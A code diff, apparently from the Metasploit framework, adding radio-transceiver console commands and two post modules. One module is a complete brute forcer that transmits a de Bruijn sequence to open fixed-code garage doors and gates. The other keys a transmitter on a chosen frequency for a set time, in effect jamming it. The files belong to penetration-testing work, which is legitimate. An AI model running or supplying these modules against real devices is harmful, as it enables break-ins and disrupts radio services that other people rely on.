opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-d' => [ true, 'Variable Length' ],
|
||||
'-r' => [ true, 'Repeat' ],
|
||||
'-o' => [ true, 'Data offset' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: xmit -d <data>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-d'
|
||||
data = val
|
||||
when '-r'
|
||||
repeat = val.to_i
|
||||
when '-o'
|
||||
offset = val.to_i
|
||||
end
|
||||
end
|
||||
if not data
|
||||
print_line("You must specify the data argument (-d)")
|
||||
return
|
||||
end
|
||||
arg["repeat"] = repeat if not repeat == -1
|
||||
arg["offset"] = offset if not offset == -1
|
||||
r = client.rftransceiver.rfxmit(idx, data, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Recieve data packet
|
||||
#
|
||||
def cmd_recv(*args)
|
||||
self.idx ||= 0
|
||||
arg = {}
|
||||
timeout = -1
|
||||
blocksize = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-t' => [ true, 'timeout' ],
|
||||
'-b' => [ true, 'blocksize' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: recv\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-t'
|
||||
timeout = val.to_i
|
||||
when '-b'
|
||||
blocksize = val.to_i
|
||||
end
|
||||
end
|
||||
arg["blocksize"] = blocksize if not blocksize == -1
|
||||
arg["timeout"] = timeout if not timeout == -1
|
||||
r = client.rftransceiver.rfrecv(idx, arg)
|
||||
if r.has_key? "data" and r.has_key? "timestamp"
|
||||
print_line(" #{r["timestamp"]}: #{r["data"].inspect}")
|
||||
else
|
||||
print_line("Error")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Enable CRC
|
||||
#
|
||||
def cmd_enable_crc(*args)
|
||||
self.idx ||= 0
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: enable_crc\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
end
|
||||
end
|
||||
r = client.rftransceiver.enable_packet_crc(idx)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Enable Manchester encoding
|
||||
#
|
||||
def cmd_enable_manchester(*args)
|
||||
self.idx ||= 0
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: enable_manchester\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
end
|
||||
end
|
||||
r = client.rftransceiver.enable_manchester(idx)
|
||||
print_sucess(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set channel
|
||||
#
|
||||
def cmd_channel(*args)
|
||||
self.idx ||= 0
|
||||
channel = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-c' => [ true, 'Channel number' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: channel -c <channel number>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-c'
|
||||
channel = val.to_i
|
||||
end
|
||||
end
|
||||
if channel == -1
|
||||
print_line("You must specify a channel number")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_channel(idx, channel)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set channel bandwidth
|
||||
#
|
||||
def cmd_channel_bw(*args)
|
||||
self.idx ||= 0
|
||||
bandwidth = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-b' => [ true, 'Bandwidth' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: channel_bw -b <bandwidth>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-b'
|
||||
bandwidth = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if bandwidth == -1
|
||||
print_line("You must specify the bandwidth (-b)")
|
||||
return
|
||||
end
|
||||
arg["mhz"] = mhz if mhz
|
||||
r = client.rftransceiver.set_channel_bandwidth(idx, bandwidth, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set baud rate
|
||||
#
|
||||
def cmd_baud(*args)
|
||||
self.idx ||= 0
|
||||
baud = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-b' => [ true, 'Baud rate' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: baud -b <baud rate>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-b'
|
||||
baud = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if baud == -1
|
||||
print_line("You must specify a baud rate")
|
||||
return
|
||||
end
|
||||
arg["mhz"] = mhz if mhz
|
||||
r = client.rftransceiver.set_baud_rate(idx, baud, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set Deviation
|
||||
#
|
||||
def cmd_deviation(*args)
|
||||
self.idx ||= 0
|
||||
deviat = -1
|
||||
mhz = nil
|
||||
arg = {}
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-d' => [ true, 'Deviat' ],
|
||||
'-m' => [ true, 'Mhz' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: deviation -d <deviat value>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-d'
|
||||
deviat = val.to_i
|
||||
when '-m'
|
||||
mhz = val.to_i
|
||||
end
|
||||
end
|
||||
if deviat == -1
|
||||
print_line("You must specify a deviat value")
|
||||
return
|
||||
end
|
||||
arg["mhz"] = mhz if mhz
|
||||
r = client.rftransceiver.set_deviation(idx, deviat, arg)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Set Sync word
|
||||
#
|
||||
def cmd_sync_word(*args)
|
||||
self.idx ||= 0
|
||||
word = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-w' => [ true, 'Sync word (Integer)' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: sync_word -w <int>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-w'
|
||||
word = val.to_i
|
||||
end
|
||||
end
|
||||
if word == -1
|
||||
print_line("you must specify a sync word")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_sync_word(idx, word)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_preamble_help
|
||||
print_line("get the minimum number of preamble bits to be transmitted. note this is a flag, not a count")
|
||||
print_line("so the return value must be interpeted - e.g. 0x30 == 0x03 << 4 == MFMCFG1_NUM_PREAMBLE_6 == 6 bytes")
|
||||
end
|
||||
|
||||
#
|
||||
# Set Preamble size
|
||||
#
|
||||
def cmd_preamble(*args)
|
||||
self.idx ||= 0
|
||||
preamble = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-n' => [ true, 'Number of preamble' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: preamble -n <number bits>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-n'
|
||||
preamble = val.to_i
|
||||
end
|
||||
end
|
||||
if preamble == -1
|
||||
print_line("You must specify the number of preamble bits")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_number_preamble(idx, preamble)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_maxpower_help
|
||||
print_line("Max power is frequency dependent. Set frequency first")
|
||||
end
|
||||
|
||||
#
|
||||
# Sets max power
|
||||
#
|
||||
def cmd_maxpower(*args)
|
||||
self.idx ||= 0
|
||||
if args.length > 0
|
||||
cmd_maxpower_help
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_maxpower(idx)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
def cmd_power(*args)
|
||||
self.idx ||= 0
|
||||
power = -1
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-p' => [ true, 'Power level' ]
|
||||
)
|
||||
opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line("Usage: power -p <power level>\n")
|
||||
print_line(opts.usage)
|
||||
return
|
||||
when '-p'
|
||||
power = val.to_i
|
||||
end
|
||||
end
|
||||
if power == -1
|
||||
print_line("You must specify the power level")
|
||||
return
|
||||
end
|
||||
r = client.rftransceiver.set_power(idx, power)
|
||||
print_success(r)
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'RFtransceiver'
|
||||
end
|
||||
|
||||
attr_accessor :idx
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -103,6 +103,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if self.hw_specialty.has_key? "zigbee"
|
||||
sess.load_zigbee if self.hw_specialty["zigbee"] == true
|
||||
end
|
||||
if self.hw_specialty.has_key? "rftransceiver"
|
||||
sess.load_rftransceiver if self.hw_specialty["rftransceiver"] == true
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,154 @@
|
|||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',
|
||||
'Description' => %q{ Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw
|
||||
binary signals. This is a port of the LegacySecurityGroup.com rfpwnon tool.
|
||||
(https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Craig Smith'],
|
||||
'Platform' => ['hardware'],
|
||||
'SessionTypes' => ['hwbridge']
|
||||
))
|
||||
register_options([
|
||||
OptInt.new('FREQ', [true, "Frequency to transmit on"]),
|
||||
OptInt.new('BAUD', [false, "Baud rate to use", 2000]),
|
||||
OptInt.new('BINLENGTH', [false, "Binary Length of signal to brute force", 8]),
|
||||
OptInt.new('REPEAT', [false, "Number of times to repeat the signal", 5]),
|
||||
OptString.new('PPAD', [false, "Specify your own binary padding before the brute forced binary", nil]),
|
||||
OptString.new('TPAD', [false, "Specify your own binary padding after the brute forced binary", nil]),
|
||||
OptBool.new('RAW', [false, "When set, disables PWM encoding. BINLENGTH must be -1", false]),
|
||||
OptBool.new('TRI', [false, "When set, brute foces a trinary signal.", false]),
|
||||
OptBool.new('EXTRAVERBOSE', [false, "More verbose", false]),
|
||||
OptInt.new('INDEX', [false, "USB Index to use", 0]),
|
||||
OptInt.new('DELAY', [false, "Delay in milliseconds between transmissions", 500])
|
||||
], self.class)
|
||||
@zeropwm = "1110"
|
||||
@onepwm = "1000"
|
||||
@brutechar = "01"
|
||||
end
|
||||
|
||||
# @param key [String] binary/trinary represntation
|
||||
# @return [Array] ByteArray
|
||||
def convert_ook(key)
|
||||
pwm_str_key = ""
|
||||
key.each_char do |k|
|
||||
x = "*"
|
||||
case k
|
||||
when "0"
|
||||
x = @zeropwm
|
||||
when "1"
|
||||
x = @onepwm
|
||||
when "2"
|
||||
x = @twopwm
|
||||
end
|
||||
pwm_str_key += x
|
||||
end
|
||||
return pwm_str_key.scan(/.{1,8}/).collect{|x| x.to_i(2).chr}
|
||||
end
|
||||
|
||||
def debruijn_bytes(k, n)
|
||||
@a=[0]
|
||||
@sequence = []
|
||||
debruijn(1, 1, k, n)
|
||||
return @sequence.join
|
||||
end
|
||||
|
||||
def debruijn(t, p, k, n)
|
||||
if t>n
|
||||
if n%p==0
|
||||
1.upto(p) {|j| @sequence<<@a[j]}
|
||||
end
|
||||
else
|
||||
@a[t]=@a[t-p]
|
||||
debruijn(t+1, p, k, n)
|
||||
(@a[t-p]+1).upto(k-1) {|j|
|
||||
@a[t]=j
|
||||
debruijn(t+1, t, k, n)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if not is_rf?
|
||||
print_error("Not an RF Transceiver")
|
||||
return
|
||||
end
|
||||
if not set_index(datastore['INDEX'])
|
||||
print_error("Couldn't set usb index to #{datastore["INDEX"]}")
|
||||
return
|
||||
end
|
||||
if datastore["TRI"]
|
||||
@zeropwm = "10001000"
|
||||
@onepwm = "11101110"
|
||||
@twopwm = "10001110"
|
||||
@brutechar = "012"
|
||||
end
|
||||
|
||||
set_modulation("ASK/OOK")
|
||||
set_freq(datastore["FREQ"])
|
||||
set_sync_mode(0)
|
||||
set_baud(datastore["BAUD"])
|
||||
max_power
|
||||
|
||||
print_status("Generating de bruijn sequence...")
|
||||
seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])
|
||||
tail = seq[0, datastore['BINLENGTH']-1]
|
||||
brutepacket = seq + tail
|
||||
|
||||
print_status("Brute forcing frequency: #{datastore['FREQ']}")
|
||||
print_status("Padding before binary: #{datastore['PPAD']}") if datastore["PPAD"]
|
||||
print_status("Padding after binary: #{datastore["TPAD"]}") if datastore["TPAD"]
|
||||
print_status("De Bruijin Sequence: #{brutepacket}") if datastore["EXTRAVERBOSE"]
|
||||
|
||||
startn = 0
|
||||
endy = 512
|
||||
brutepackettmp = ""
|
||||
addr = 512
|
||||
if datastore["TRI"]
|
||||
endy = 128
|
||||
addr = 128
|
||||
end
|
||||
if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"]
|
||||
endy = datastore["BINLENGTH"]
|
||||
addr = 1
|
||||
end
|
||||
# Transmit
|
||||
while startn < brutepacket.length
|
||||
(0..datastore["REPEAT"]-1).each do |i|
|
||||
brutepackettemp = brutepacket[startn..endy-1]
|
||||
next if brutepackettemp.length < datastore["BINLENGTH"]
|
||||
# Pad if asked to
|
||||
brutepackettemp = datastore["PPAD"] + brutepackettemp if datastore["PPAD"]
|
||||
brutepackettemp += datastore["TPAD"] if datastore["TPAD"]
|
||||
if datastore["RAW"]
|
||||
key_packed = brutepackettemp.scan(/.{1,8}/).collect{|x| x.to_i(2).chr}
|
||||
else
|
||||
key_packed = convert_ook(brutepackettemp)
|
||||
end
|
||||
print_status("Transmitting...")
|
||||
set_flen(key_packed.length)
|
||||
rfxmit(key_packed.join)
|
||||
print_status("Binary before PWM encoding:")
|
||||
print_status("#{brutepackettemp}")
|
||||
print_status("Binary after PWM encoding:")
|
||||
print_status("#{key_packed.join.unpack("H*")[0].hex.to_s(2)}")
|
||||
sleep(datastore["DELAY"] / 1000) if datastore["DELAY"] > 0
|
||||
end
|
||||
if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"]
|
||||
startn += addr
|
||||
endy += addr
|
||||
else
|
||||
startn = startn + addr - datastore["BINLENGTH"]
|
||||
endy = endy + addr - datastore["BINLENGTH"]
|
||||
end
|
||||
end
|
||||
print_status("Done")
|
||||
set_mode("IDLE")
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,60 @@
|
|||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'RF Transceiver Transmitter',
|
||||
'Description' => %q{
|
||||
This module powers an HWBridge-connected radio transceiver,
|
||||
effectively transmitting on the frequency set by the FREQ option.
|
||||
|
||||
NOTE: Users of this module should be aware of their local laws,
|
||||
regulations, and licensing requirements for transmitting on any
|
||||
given radio frequency.
|
||||
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/AndrewMohawk/RfCatHelpers']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Craig Smith'],
|
||||
'Platform' => ['hardware'],
|
||||
'SessionTypes' => ['hwbridge']
|
||||
))
|
||||
register_options([
|
||||
OptInt.new('FREQ', [true, "Frequency to transmit on"]),
|
||||
OptInt.new('SECONDS', [false, "Seconds to transmit", 4]),
|
||||
OptInt.new('BAUD', [false, "Baud rate to use", 4800]),
|
||||
OptInt.new('POWER', [false, "Power level", 100]),
|
||||
OptInt.new('INDEX', [false, "USB Index to use", 0])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
if not is_rf?
|
||||
print_error("Not an RF Transceiver")
|
||||
return
|
||||
end
|
||||
if not set_index(datastore['INDEX'])
|
||||
print_error("Couldn't set usb index to #{datastore["INDEX"]}")
|
||||
return
|
||||
end
|
||||
set_modulation("ASK/OOK")
|
||||
set_freq(datastore["FREQ"])
|
||||
set_sync_mode(0)
|
||||
set_baud(datastore["BAUD"])
|
||||
set_channel_spc(24000)
|
||||
set_mode("idle")
|
||||
set_power(datastore["POWER"])
|
||||
|
||||
print_status("Transmitting on #{datastore['FREQ']} for #{datastore['SECONDS']} seconds...")
|
||||
set_mode("tx")
|
||||
sleep(datastore['SECONDS'])
|
||||
print_status("Finished transmitting")
|
||||
set_mode("idle")
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue